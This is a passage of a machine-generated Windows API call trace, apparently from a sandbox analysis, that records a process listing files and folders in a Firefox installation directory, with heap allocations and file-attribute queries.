Size=0x80) returned 0x12ef1b0 [0089.364] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.364] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.364] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0xcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1 [0089.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1a88 [0089.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.366] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 1 [0089.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1aa8 [0089.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef4e0 [0089.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 0 [0089.368] GetLastError () returned 0x12 [0089.368] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.368] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.368] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.368] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0xcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1 [0089.368] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 1 [0089.368] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 0 [0089.368] GetLastError () returned 0x12 [0089.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.368] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef128) returned 1 [0089.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x25fbbe80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x43470, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x49c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2ac07280, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x34ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkmedias.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaeef6000, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb125e740, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x5aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.log", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2b590900, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xfa70, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2c8a3600, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x86270, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x2f7f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice_installer.exe", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2e53f980, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4270, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozalloc.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2eec9000, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1fe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x314eea00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x336470, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozjs.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0x66d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0xbc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3318ad80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1b1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3449da80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x60070, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssckbi.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.chk", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x16870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x58a5b700, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x771d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf10b340, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf10b340, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1218800, ftLastWriteTime.dwHighDateTime=0x1ced1df, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="platform.ini", cAlternateFileName="")) returned 1 [0089.369] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x357b0780, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4870, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-container.exe", cAlternateFileName="")) returned 1 [0089.370] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x36139e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x6e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-hang-ui.exe", cAlternateFileName="")) returned 1 [0089.370] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5c2963ee, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="precomplete", cAlternateFileName="")) returned 1 [0089.370] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x13c55480, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x8f3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="removed-files", cAlternateFileName="")) returned 1 [0089.370] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.chk", cAlternateFileName="")) returned 1 [0089.370] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x25870, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0089.370] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall", cAlternateFileName="")) returned 1 [0089.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.371] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.371] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.372] NtClose (Handle=0x180) returned 0x0 [0089.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef128 [0089.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.373] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.373] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.373] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4a579b00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xd4fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1 [0089.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.374] FindNextFileW (in: 